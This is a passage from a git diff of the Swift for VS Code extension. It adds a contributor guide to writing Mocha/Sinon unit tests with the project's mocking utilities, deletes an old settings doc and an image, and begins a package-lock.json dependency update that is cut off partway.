events](#mocking-global-events) + - [Setting global constants](#setting-global-constants) + - [Mocking an entire module](#mocking-an-entire-module) +- [Conclusion](#conclusion) + +## Organizing Tests + +Tests are currently organized into one of two directories: + +1. **Unit Tests** - Tests that exercise smaller units of code go in `test/unit-tests` +2. **Integration Tests** - Tests that exercise more complicated features that require the extension to be loaded in VSCode go in `test/integration-tests` + +There are plans to add a third set of smoke tests that will have no mocking at all and actually click through the VS Code user interface to perform actions. For more information see the [Swift for Visual Studio Code test strategy](./test-strategy.md) document. + +## Writing Unit Tests + +> [!NOTE] +> This section will guide you through contributing a simple test that mocks out some VS Code UI pieces. For more information on individual mocking methods, see the [Mocking Utilties](#mocking-utilities) section. + +Unit tests should be organized in a way that reflects the structure of the project. For example, let's say you were writing unit tests for the [`showReloadExtensionNotification()`](../../src/ui/ReloadExtension.ts) function under `src/ui/ReloadExtensions.ts`. You would want to first create a unit test file that mirrors the structure of that feature’s implementation: + +1. **Create a new test file** `test/unit-tests/ui/ReloadExtensions.ts` that will contain the test suite: + + ``` + test/unit-tests/ui/ + |- ReloadExtensions.test.ts + ``` + +2. **Structure your test suite** using Mocha’s `suite()` function. This function allows you to group related tests together logically. + + ```typescript + suite("ReloadExtension Unit Test Suite", function () { + // Individual test cases will go here + }); + ``` + +3. **Create your first test case** using Mocha's `test()` function. Your test name should clearly explain what the test is trying to verify. + ```typescript + suite("ReloadExtension Unit Test Suite", () => { + test("displays a warning message asking the user to reload the window", async () => { + // Test code goes here + }); + }); + ``` + +Now comes the fun part! For unit testing we use [Chai](https://chaijs.com) for assertions and [Sinon](https://sinonjs.org/) for stubbing/mocking user interaction and observing behaviour that is otherwise difficult to observe. Many helpful utility functions exist in [MockUtils.ts](../../test/MockUtils.ts). These utility methods take care of the setup and teardown of the mocks so the developer does not need to remember to do this for each suite/test. + +Our test is going to want to verify that a warning message is shown to the user. For this, we'll want to mock out VSCodes global `window` module. Thankfully, MockUtils contains a `mockGlobalObject` function that will replace a global object with a mocked version. Each property is replaced with a Sinon stub during setup and restored at teardown. Keep in mind that the `mockGlobal*` functions all need to be created at the **`suite()`** level. Unexpected behavior will occur if called within a `test()` function. + +```typescript +import { expect } from "chai"; +import { mockGlobalObject } from "../../MockUtils"; +import * as vscode from "vscode"; +import { showReloadExtensionNotification } from "../../../src/ui/ReloadExtension"; + +suite("ReloadExtension Unit Test Suite", () => { + const mockedVSCodeWindow = mockGlobalObject(vscode, "window"); + + test("displays a warning message asking the user if they would like to reload the window", async () => { + // Define the mock behavior using methods on the Sinon stub + mockedVSCodeWindow.showWarningMessage.resolves(undefined); + // Execute the function that we're testing + await showReloadExtensionNotification("Want to reload?"); + // Make sure that the warning was shown correctly + expect(mockedVSCodeWindow.showWarningMessage).to.have.been.calledOnceWithExactly( + "Want to reload?", + "Reload Extensions" + ); + }); +}); +``` + +Now let's test to see what happens when the user clicks the "Reload Extensions" button. VS Code provides a command to reload the window which will cause the extension to reload. We can verify that this command is executed: + +```typescript +suite("ReloadExtension Unit Test Suite", () => { + const mockedVSCodeWindow = mockGlobalObject(vscode, "window"); + const mockedVSCodeCommands = mockGlobalObject(vscode, "commands"); + + // ... previous test case(s) here + + test("reloads the extension if the user clicks the 'Reload Extensions' button", async () => { + // Define the mock behavior using methods on the Sinon stub + mockedVSCodeWindow.showWarningMessage.resolves("Reload Extensions" as any); + // Execute the function that we're testing + await showReloadExtensionNotification("Want to reload?"); + // Make sure that the extension was reloaded + expect(mockedVSCodeCommands.executeCommand).to.have.been.calledOnceWithExactly( + "workbench.action.reloadWindow" + ); + }); +}); +``` + +You may have also noticed that we needed to cast the `"Reload Extensions"` string to `any` when resolving `showWarningMessage()`. Unforunately, this may be necessary for methods that have incompatible overloaded signatures due to a TypeScript issue that remains unfixed. + +## Mocking the File System + +Mocking file system access can be a challenging endeavor that is prone to fail when implementation details of the unit under test change. This is because there are many different ways of accessing and manipulating files, making it almost impossible to catch all possible failure paths. For example, you could check for file existence using `fs.stat()` or simply call `fs.readFile()` and catch errors with a single function call. Using the real file system is slow and requires extra setup code in test cases to configure. + +The [`mock-fs`](https://github.com/tschaub/mock-fs) module is a well-maintained library that can be used to mitigate these issues by temporarily replacing Node's built-in `fs` module with an in-memory file system. This can be useful for testing logic that uses the `fs` module without actually reaching out to the file system. Just a single function call can be used to configure what the fake file system will contain: + +```typescript +import * as chai from "chai"; +import * as mockFS from "mock-fs"; +import * as fs from "fs/promises"; + +suite("mock-fs example", () => { + // This teardown step is also important to make sure your tests clean up the + // mocked file system when they complete! + teardown(() => { + mockFS.restore(); + }); + + test("mock out a file on disk", async () => { + // A single function call can be used to configure the file system + mockFS({ + "/path/to/some/file": "Some really cool file contents", + }); + await expect(fs.readFile("/path/to/some/file", "utf-8")) + .to.eventually.equal("Some really cool file contents"); + }); +}); +``` + +In order to test failure paths, you can either create an empty file system or use `mockFS.file()` to set the mode to make a file that is not accessible to the current user: + +```typescript +test("file is not readable by the current user", async () => { + mockFS({ "/path/to/file": mockFS.file({ mode: 0o000 }) }); + await expect(fs.readFile("/path/to/file", "utf-8")).to.eventually.be.rejected; +}); +``` + +## Mocking Utilities + +This section outlines the various utilities that can be used to improve the readability of your tests. The [MockUtils](../../test/MockUtils.ts) module can be used to perform more advanced mocking than what Sinon provides out of the box. This module has its [own set of tests](../../test/unit-tests/MockUtils.test.ts) that you can use to get a feel for how it works. + +### Mocking interfaces, classes, and functions + +If you need a one-off mock of an Interface or Class that you can configure the behavior of, use `mockObject()`. This function requires a type parameter of the Interface or Class you're mocking as well as an object containing the properties you would like to mock. You can use this in combination with `mockFn()` to fully mock an object and define its default behavior in one line: + +```typescript +import { expect } from "chai"; +import { mockFn, mockObject } from "../MockUtils"; + +interface TestInterface { + first: number; + second: number; + sum(): number; +} + +test("can mock an interface", () => { + const mockedInterface = mockObject({ + first: 0, + second: 0, + sum: mockFn(s => s.callsFake(() => { + return mockedInterface.first + mockedInterface.second; + })); + }); + + mockedInterface.first = 17; + mockedInterface.second = 13; + expect(mockedInterface.sum()).to.equal(30); +}); +``` + +Sometimes you will need to use the `instance()` method to convert from a MockedObject to the actual object. This is purely to avoid TypeScript errors and should only be necessary when dealing with complex types (E.g. a class with private properties): + +```typescript +import { expect } from "chai"; +import { mockFn, mockObject, instance } from "../MockUtils"; + +class TestClass { + private first: number; + private second: number; + + constructor(first: number, second: number) { + this.first = first; + this.second = second; + } + + sum(): number { + return this.first + this.second; + } +} + +function sumOfTestClass(test: TestClass): number { + return test.sum(); +} + + +test("can mock a class with private properties", () => { + const mockedClass = mockObject({ + sum: mockFn(); + }); + + mockedClass.sum.returns(42); + expect(sumOfTestClass(instance(mockedInterface))).to.equal(42); +}); +``` + +### Mocking VS Code events + +The `AsyncEventEmitter` captures components listening for a given event and fires the event emitter with the provided test data: + +```typescript +import { expect } from "chai"; +import { mockObject, AsyncEventEmitter } from "../MockUtils"; +import * as vscode from "vscode"; + +interface TestInterface { + onDidGetNumber: vscode.Event; +} + +test("example of mocking an asynchronous event within a mocked object", async () => { + // Create a new AsyncEventEmitter and hook it up to the mocked interface + const emitter = new AsyncEventEmitter(); + const mockedInterface = mockObject({ + onDidGetNumber: mockFn(s => s.callsFake(emitter.event)); + }); + + // A simple example of an asynchronous event handler + const events: number[] = []; + mockedInterface.onDidGetNumber(async num => { + await new Promise(resolve => { + setTimeout(resolve, 1); + }); + events.push(num); + }); + + // Use the fire() method to trigger events + await emitter.fire(1); + await emitter.fire(2); + await emitter.fire(3); + + // Make sure that the events were triggered correctly + expect(events).to.deep.equal([1, 2, 3]); +}); +``` + +### Mocking global modules + +Sometimes it is necessary to mock behavior that is provided by modules. A prime example of this is the VS Code API. In these cases you can use the global variants of the previously mentioned functions. + +These global mocking functions automatically handle `setup()` and `teardown()` through Mocha so that you don't have to do this yourself. The only caveat is that the global methods must be called at the `suite()` level rather than inside a `test()` case: + +```typescript +import { expect } from "chai"; +import { mockGlobalObject } from "../MockUtils"; +import * as vscode from "vscode"; + +suite("Mocking a Global Interface", async function () { + // Runs Mocha's setup() and teardown() functions to stub out vscode.window automatically + // Notice how this is a constant defined at the root of the suite() and not in test() + const mockedVSCodeWindow = mockGlobalObject(vscode, "window"); + + test("define behavior for a global function", async () => { + mockedVSCodeWindow.showInformationMessage.resolves(undefined); + + // ... trigger and verify behavior + }); +}); +``` + +#### Mocking global objects + +`MockUtils` contains a method called `mockGlobalObject()` that can be used to mock an object that is part of a module: + +```typescript +import { expect } from "chai"; +import { mockGlobalObject } from "../MockUtils"; +import * as vscode from "vscode"; + +suite("Mocking a Global Interface", async function () { + const mockedVSCodeWindow = mockGlobalObject(vscode, "window"); + + test("define behavior for a global function", async () => { + mockedVSCodeWindow.showInformationMessage.resolves(undefined); + + // ... trigger and verify behavior + }); +}); +``` + +#### Mocking global events + +You may also want to mock a global event from the VS Code API using the `mockGlobalEvent()` function: + +```typescript +import { expect } from "chai"; +import { mockObject, mockGlobalEvent } from "../MockUtils"; +import * as vscode from "vscode"; + +suite("Global event example", async function () { + const didStartTask = mockGlobalEvent(vscode.tasks, "onDidStartTask"); + + test("fire an event for onDidStartTask", async () => { + // Fire the onDidStartTask event + const mockedTask = mockObject({}); + mockedTaskExecution = { task: instance(mockedTask), terminate: () => {} }; + await didStartTask.fire({ execution: mockedTaskExecution }); + + // ... verify behavior + }); +}); +``` + +#### Setting global constants + +The `mockGlobalValue()` function allows for temporarily overriding the value for some global constant: + +```typescript +import { mockGlobalValue } from "../MockUtils"; + +suite("Process platform example", async function () { + const processPlatform = mockGlobalValue(process, "platform") + + test("simulate being on Linux", async () => { + processPlatform.setValue("linux"); + + // ... trigger and verify behavior + }); +}); +``` + +#### Mocking an entire module + +The `mockGlobalModule()` function allows for mocking an entire module such as our internal `configuration` module: + +```typescript +import * as configuration from "../../src/configuration.ts"; + +suite("Mocked configuration example", async function () { + const mockedConfiguration = mockGlobalModule(configuration); + + test("simulate the user setting the path to swift in their settings", async () => { + mockedConfiguration.path = "/path/to/swift"; + + // ... trigger and verify behavior + }); +}); +``` + +## Conclusion + +Writing clear and concise test cases is critical to ensuring the robustness of your contributions. By following the steps outlined in this document, you can create tests that are easy to understand, maintain, and extend. + +Thank you for contributing to the Swift extension for VS Code! diff --git a/docs/settings.md b/docs/settings.md deleted file mode 100644 index 8c3394fb4..000000000 --- a/docs/settings.md +++ /dev/null @@ -1,69 +0,0 @@ -# Extension Settings - -The Visual Studio Code Swift extension comes with a number of settings you can use to control how it works. This document details what each of these settings does. - -- **Path** - -This is the folder that the `swift` executable can be found in. If this is not set then the extension will look for executables in the `$PATH`. The extension will also use this setting when looking for other executables it requires like `sourcekit-lsp` and `lldb`. - -- **Build Arguments** - -This is a list of additional arguments passed to the `swift build` calls the extension makes. Argument keys and values should be provided as separate entries in the array e.g. `['-Xswiftc', '-warn-concurrency']`. This setting is only applied to the default build tasks generated by the extension. If you have created custom versions of these tasks in `tasks.json` the setting will not be applied. Instead you will need to edit the arguments list in the `tasks.json` file. - -- **Auto Generate Launch Configurations** - -When a SwiftPM project is loaded into Visual Studio Code the Swift extension will automatically generate debug and release launch configurations for [CodeLLDB](https://marketplace.visualstudio.com/items?itemName=vadimcn.vscode-lldb) for any executable in the package. This setting allows you to disable this if you would prefer to setup your own launch configurations. - -- **Problem Match Compile Errors** - -When this is enabled any errors or warnings from a `swift build` will be listed in the problems view. There is a chance these compile "problems" will double up with "problems" coming from SourceKit-LSP but the list of issues will be more comprehensive. The compile "problems" will only disappear after a `swift build` indicates they are resolved. - -- **Exclude Paths From Package Dependencies** - -This is a list of paths to exclude from the Package Dependency View. - -- **Background Compilation** - -This is an experimental setting which runs `swift build` whenever a file is saved. There are possibilites the background compilation will clash with any compilation you trigger yourselves so this is disabled by default. - -- **Build path** - -The path to a directory that will be used for build artifacts. This path will be added to all swift package manager commands that are executed by vscode-swift extension via `--build-path` option. When no value provided - nothing gets passed to swift package manager and it will use its default value of `.build` folder in workspace. You can use absolute path for directory or the relative path, which will use the workspace path as a base. Unfortunately, VSCode does not correctly understand and pass the tilde symbol (~) which represents user home folder under *nix systems. Thus, it should be avoided. - -### Sourcekit-LSP - -[Sourcekit-LSP](https://github.com/apple/sourcekit-lsp) is the language server used by the the Swift extension to provide symbol completion, jump to definition etc. It is developed by Apple to provide Swift and C language support for any editor that supports the Language Server Protocol. - -- **Server Path** - -The path of the `sourcekit-lsp` executable. As mentioned above the default is to look in the folder where the `swift` executable is found. - -- **Server Arguments** - -This is a list of arguments that will be passed to the SourceKit-LSP. Argument keys and values should be provided as separate entries in the array e.g. `['--log-level', 'debug']`. - -- **Inlay Hints** - -This controls the display of Inlay Hints. Inlay Hints are variable annotations indicating their inferred type. They are only available if you are using Swift 5.6 or later. - -- **Trace: Server** - -Trace the communication between Visual Studio Code and the SourceKit-LSP server. The output from this is sent to an Output Window called "Sourcekit Language Server" - -### Advanced - -- **Swift Environment Variables** - -This is a list of environment variables to set when running swift (build, resolve etc). - -- **Runtime Path** - -Where to find Swift runtime libraries. This is mainly of use when these libraries cannot be discovered via the RPATH. On Windows the runtime path is added to the `Path` environment variable. This is of less use on macOS and Linux but will be added to `DYLD_LIBRARY_PATH` and `LD_LIBRARY_PATH` environment variables respectively on each platform. This is of use when supporting non-standard SDK layouts on Windows - -- **SDK** - -The path of the target SDK to compile against. The default SDK is determined by the environment on macOS and Windows. This is of use when supporting non-standard SDK layouts on Windows and using custom SDKs. This adds the `--sdk` command line parameter to the relevant `swift` calls. - -- **Diagnostics** - -The Swift extension includes a Swift Output channel that events are logged in. You can access this by selecting menu item `View -> Output` and then selecting `Swift` in the drop down menu. Events like adding new folders, LSP server starting, errors and package resolves/updates are recorded in here. This is all useful information when trying to debug an issue with the extension. Enabling the diagnostics setting will extend this information to include considerably more information. If you want to report a bug with the extension it would be good practice to enable this setting, restart Visual Studio Code and once you have replicated your bug include the contents of the Swift Output channel in the bug report. diff --git a/images/package-dependencies.png b/images/package-dependencies.png deleted file mode 100644 index fca8164bf..000000000 Binary files a/images/package-dependencies.png and /dev/null differ diff --git a/package-lock.json b/package-lock.json index 482a06700..22d903e47 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,2957 +1,3329 @@ { - "name": "swift-lang", - "version": "0.7.0", + "name": "swift-vscode", + "version": "2.16.0-dev", "lockfileVersion": 2, "requires": true, "packages": { "": { - "name": "swift-lang", - "version": "0.7.0", + "name": "swift-vscode", + "version": "2.16.0-dev", + "hasInstallScript": true, "dependencies": { - "@types/plist": "^3.0.2", - "plist": "^3.0.5", - "vscode-languageclient": "^8.0.0" + "@vscode/codicons": "^0.0.42", + "archiver": "^7.0.1", + "fast-glob": "^3.3.3", + "lcov-parse": "^1.0.0", + "plist": "^3.1.0", + "vscode-languageclient": "^9.0.1", + "xml2js": "^0.6.2", + "zod": "^4.1.5" }, "devDependencies": { - "@types/glob": "^7.1.4", - "@types/mocha": "^9.0.0", - "@types/node": "14.x", - "@types/vscode": "^1.65.0", - "@typescript-eslint/eslint-plugin": "^5.1.0", - "@typescript-eslint/parser": "^5.1.0", - "@vscode/test-electron": "^1.6.2", - "esbuild": "^0.14.5", - "eslint": "^8.1.0", - "eslint-config-prettier": "^8.3.0", - "glob": "^7.1.7", - "mocha": "^9.1.3", - "prettier": "2.5.1", - "typescript": "^4.4.4", - "vsce": "^2.9.0" - }, - "engines": { - "vscode": "^1.65.0" + "@actions/core": "^1.11.1", + "@trivago/prettier-plugin-sort-imports": "^6.0.0", + "@types/archiver": "^7.0.0", + "@types/chai": "^4.3.19", + "@types/chai-as-promised": "^7.1.8", + "@types/chai-subset": "^1.3.6", + "@types/decompress": "^4.2.7", + "@types/diff": "^8.0.0", + "@types/lcov-parse": "^1.0.2", + "@types/lodash.debounce": "^4.0.9", + "@types/lodash.throttle": "^4.1.9", + "@types/micromatch": "^4.0.10", + "@types/mocha": "^10.0.10", + "@types/mock-fs": "^4.13.4", + "@types/node": "^20.19.25", + "@types/plist": "^3.0.5", + "@types/semver": "^7.7.1", + "@types/sinon": "^21.0.0", + "@types/sinon-chai": "^3.2.12", + "@types/source-map-support": "^0.5.10", + "@types/svg2ttf": "^5.0.3", + "@types/svgicons2svgfont": "^10.0.5", + "@types/ttf2woff": "^2.0.4", + "@types/vscode": "^1.88.0", + "@types/xml2js": "^0.4.14", + "@typescript-eslint/eslint-plugin": "^8.47.0", + "@typescript-eslint/parser": "^8.32.1", + "@vscode/debugprotocol": "^1.68.0", + "@vscode/test-cli": "^0.0.12", + "@vscode/test-electron": "^2.5.2", + "@vscode/vsce": "^3.7.0", + "chai": "^4.5.0", + "chai-as-promised": "^7.1.2", + "chai-subset": "^1.6.0", + "decompress": "^4.2.1", + "del-cli": "^7.0.0", + "diff": "^8.0.2", + "esbuild": "^0.27.0", + "eslint": "^8.57.0", + "eslint-config-prettier": "^10.1.8", + "eslint-plugin-mocha": "^10.5.0", + "fantasticon": "^1.2.3", + "husky": "^9.1.7", + "lint-staged": "^16.2.6", + "lodash.debounce": "^4.0.8", + "lodash.throttle": "^4.1.1", + "micromatch": "^4.0.8", + "mocha": "^11.7.5", + "mock-fs": "^5.5.0", + "octokit": "^3.2.2", + "prettier": "^3.6.2", + "replace-in-file": "^8.3.0", + "semver": "^7.7.3", + "simple-git": "^3.30.0", + "sinon": "^21.0.0", + "sinon-chai": "^3.7.0", + "source-map-support": "^0.5.21", + "strip-ansi": "^6.0.1", + "svgo": "^4.0.0", + "tsconfig-paths": "^4.2.0", + "tsx": "^4.20.6", + "typescript": "^5.9.3", + "vscode-tmgrammar-test": "^0.1.3", + "winston": "^3.18.3", + "winston-transport": "^4.9.0" + }, + "engines": { + "vscode": "^1.88.0" } }, - "node_modules/@eslint/eslintrc": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-1.0.4.tgz", - "integrity": "sha512-h8Vx6MdxwWI2WM8/zREHMoqdgLNXEL4QX3MWSVMdyNJGvXVOs+6lp+m2hc3FnuMHDc4poxFNI20vCk0OmI4G0Q==", + "node_modules/@aashutoshrathi/word-wrap": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@aashutoshrathi/word-wrap/-/word-wrap-1.2.6.tgz", + "integrity": "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA==", "dev": true, - "dependencies": { - "ajv": "^6.12.4", - "debug": "^4.3.2", - "espree": "^9.0.0", - "globals": "^13.9.0", - "ignore": "^4.0.6", - "import-fresh": "^3.2.1", - "js-yaml": "^4.1.0", - "minimatch": "^3.0.4", - "strip-json-comments": "^3.1.1" - }, "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + "node": ">=0.10.0" } }, - "node_modules/@eslint/eslintrc/node_modules/ignore": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz", - "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", + "node_modules/@actions/core": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@actions/core/-/core-1.11.1.tgz", + "integrity": "sha512-hXJCSrkwfA46Vd9Z3q4cpEpHB1rL5NG04+/rbqW9d3+CSvtB1tYe8UTpAlixa1vj0m/ULglfEK2UKxMGxCxv5A==", "dev": true, - "engines": { - "node": ">= 4" + "license": "MIT", + "dependencies": { + "@actions/exec": "^1.1.1", + "@actions/http-client": "^2.0.1" } }, - "node_modules/@humanwhocodes/config-array": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.6.0.tgz", - "integrity": "sha512-JQlEKbcgEUjBFhLIF4iqM7u/9lwgHRBcpHrmUNCALK0Q3amXN6lxdoXLnF0sm11E9VqTmBALR87IlUg1bZ8A9A==", + "node_modules/@actions/exec": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@actions/exec/-/exec-1.1.1.tgz", + "integrity": "sha512-+sCcHHbVdk93a0XT19ECtO/gIXoxvdsgQLzb2fE2/5sIZmWQuluYyjPQtrtTHdU1YzTZ7bAPN4sITq2xi1679w==", "dev": true, + "license": "MIT", "dependencies": { - "@humanwhocodes/object-schema": "^1.2.0", - "debug": "^4.1.1", - "minimatch": "^3.0.4" - }, - "engines": { - "node": ">=10.10.0" + "@actions/io": "^1.0.1" } }, - "node_modules/@humanwhocodes/object-schema": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz", - "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==", + "node_modules/@actions/http-client": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/@actions/http-client/-/http-client-2.2.3.tgz", + "integrity": "sha512-mx8hyJi/hjFvbPokCg4uRd4ZX78t+YyRPtnKWwIl+RzNaVuFpQHfmlGVfsKEJN8LwTCvL+DfVgAM04XaHkm6bA==", + "dev": true, + "license": "MIT", + "dependencies": { + "tunnel": "^0.0.6", + "undici": "^5.25.4" + } + }, + "node_modules/@actions/io": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@actions/io/-/io-1.1.3.tgz", + "integrity": "sha512-wi9JjgKLYS7U/z8PPbco+PvTb/nRWjeoFlJ1Qer83k/3C5PHQi28hiVdeE2kHXmIL99mQFawx8qt/JPjZilJ8Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/@azu/format-text": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@azu/format-text/-/format-text-1.0.2.tgz", + "integrity": "sha512-Swi4N7Edy1Eqq82GxgEECXSSLyn6GOb5htRFPzBDdUkECGXtlf12ynO5oJSpWKPwCaUssOu7NfhDcCWpIC6Ywg==", "dev": true }, - "node_modules/@nodelib/fs.scandir": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", - "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "node_modules/@azu/style-format": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@azu/style-format/-/style-format-1.0.1.tgz", + "integrity": "sha512-AHcTojlNBdD/3/KxIKlg8sxIWHfOtQszLvOpagLTO+bjC3u7SAszu1lf//u7JJC50aUSH+BVWDD/KvaA6Gfn5g==", "dev": true, "dependencies": { - "@nodelib/fs.stat": "2.0.5", - "run-parallel": "^1.1.9" - }, - "engines": { - "node": ">= 8" + "@azu/format-text": "^1.0.1" } }, - "node_modules/@nodelib/fs.stat": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", - "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "node_modules/@azure/abort-controller": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@azure/abort-controller/-/abort-controller-1.1.0.tgz", + "integrity": "sha512-TrRLIoSQVzfAJX9H1JeFjzAoDGcoK1IYX1UImfceTZpsyYfWr09Ss1aHW1y5TrrR3iq6RZLBwJ3E24uwPhwahw==", "dev": true, + "dependencies": { + "tslib": "^2.2.0" + }, "engines": { - "node": ">= 8" + "node": ">=12.0.0" } }, - "node_modules/@nodelib/fs.walk": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", - "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "node_modules/@azure/core-auth": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/@azure/core-auth/-/core-auth-1.7.2.tgz", + "integrity": "sha512-Igm/S3fDYmnMq1uKS38Ae1/m37B3zigdlZw+kocwEhh5GjyKjPrXKO2J6rzpC1wAxrNil/jX9BJRqBshyjnF3g==", "dev": true, "dependencies": { - "@nodelib/fs.scandir": "2.1.5", - "fastq": "^1.6.0" + "@azure/abort-controller": "^2.0.0", + "@azure/core-util": "^1.1.0", + "tslib": "^2.6.2" }, "engines": { - "node": ">= 8" + "node": ">=18.0.0" } }, - "node_modules/@tootallnate/once": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", - "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", + "node_modules/@azure/core-auth/node_modules/@azure/abort-controller": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@azure/abort-controller/-/abort-controller-2.1.2.tgz", + "integrity": "sha512-nBrLsEWm4J2u5LpAPjxADTlq3trDgVZZXHNKabeXZtpq3d3AbN/KGO82R87rdDz5/lYB024rtEf10/q0urNgsA==", "dev": true, + "dependencies": { + "tslib": "^2.6.2" + }, "engines": { - "node": ">= 6" + "node": ">=18.0.0" } }, - "node_modules/@types/glob": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.2.0.tgz", - "integrity": "sha512-ZUxbzKl0IfJILTS6t7ip5fQQM/J3TJYubDm3nMbgubNNYS62eXeUpoLUC8/7fJNiFYHTrGPQn7hspDUzIHX3UA==", + "node_modules/@azure/core-client": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@azure/core-client/-/core-client-1.9.2.tgz", + "integrity": "sha512-kRdry/rav3fUKHl/aDLd/pDLcB+4pOFwPPTVEExuMyaI5r+JBbMWqRbCY1pn5BniDaU3lRxO9eaQ1AmSMehl/w==", "dev": true, "dependencies": { - "@types/minimatch": "*", - "@types/node": "*" + "@azure/abort-controller": "^2.0.0", + "@azure/core-auth": "^1.4.0", + "@azure/core-rest-pipeline": "^1.9.1", + "@azure/core-tracing": "^1.0.0", + "@azure/core-util": "^1.6.1", + "@azure/logger": "^1.0.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" } }, - "node_modules/@types/json-schema": { - "version": "7.0.9", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", - "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==", - "dev": true - }, - "node_modules/@types/minimatch": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.5.tgz", - "integrity": "sha512-Klz949h02Gz2uZCMGwDUSDS1YBlTdDDgbWHi+81l29tQALUtvz4rAYi5uoVhE5Lagoq6DeqAUlbrHvW/mXDgdQ==", - "dev": true - }, - "node_modules/@types/mocha": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/@types/mocha/-/mocha-9.0.0.tgz", - "integrity": "sha512-scN0hAWyLVAvLR9AyW7HoFF5sJZglyBsbPuHO4fv7JRvfmPBMfp1ozWqOf/e4wwPNxezBZXRfWzMb6iFLgEVRA==", - "dev": true - }, - "node_modules/@types/node": { - "version": "14.17.34", - "resolved": "https://registry.npmjs.org/@types/node/-/node-14.17.34.tgz", - "integrity": "sha512-USUftMYpmuMzeWobskoPfzDi+vkpe0dvcOBRNOscFrGxVp4jomnRxWuVohgqBow2xyIPC0S3gjxV/5079jhmDg==" - }, - "node_modules/@types/plist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/plist/-/plist-3.0.2.tgz", - "integrity": "sha512-ULqvZNGMv0zRFvqn8/4LSPtnmN4MfhlPNtJCTpKuIIxGVGZ2rYWzFXrvEBoh9CVyqSE7D6YFRJ1hydLHI6kbWw==", + "node_modules/@azure/core-client/node_modules/@azure/abort-controller": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@azure/abort-controller/-/abort-controller-2.1.2.tgz", + "integrity": "sha512-nBrLsEWm4J2u5LpAPjxADTlq3trDgVZZXHNKabeXZtpq3d3AbN/KGO82R87rdDz5/lYB024rtEf10/q0urNgsA==", + "dev": true, "dependencies": { - "@types/node": "*", - "xmlbuilder": ">=11.0.1" + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" } }, - "node_modules/@types/vscode": { - "version": "1.65.0", - "resolved": "https://registry.npmjs.org/@types/vscode/-/vscode-1.65.0.tgz", - "integrity": "sha512-wQhExnh2nEzpjDMSKhUvnNmz3ucpd3E+R7wJkOhBNK3No6fG3VUdmVmMOKD0A8NDZDDDiQcLNxe3oGmX5SjJ5w==", - "dev": true - }, - "node_modules/@typescript-eslint/eslint-plugin": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-5.4.0.tgz", - "integrity": "sha512-9/yPSBlwzsetCsGEn9j24D8vGQgJkOTr4oMLas/w886ZtzKIs1iyoqFrwsX2fqYEeUwsdBpC21gcjRGo57u0eg==", + "node_modules/@azure/core-rest-pipeline": { + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/@azure/core-rest-pipeline/-/core-rest-pipeline-1.16.0.tgz", + "integrity": "sha512-CeuTvsXxCUmEuxH5g/aceuSl6w2EugvNHKAtKKVdiX915EjJJxAwfzNNWZreNnbxHZ2fi0zaM6wwS23x2JVqSQ==", "dev": true, "dependencies": { - 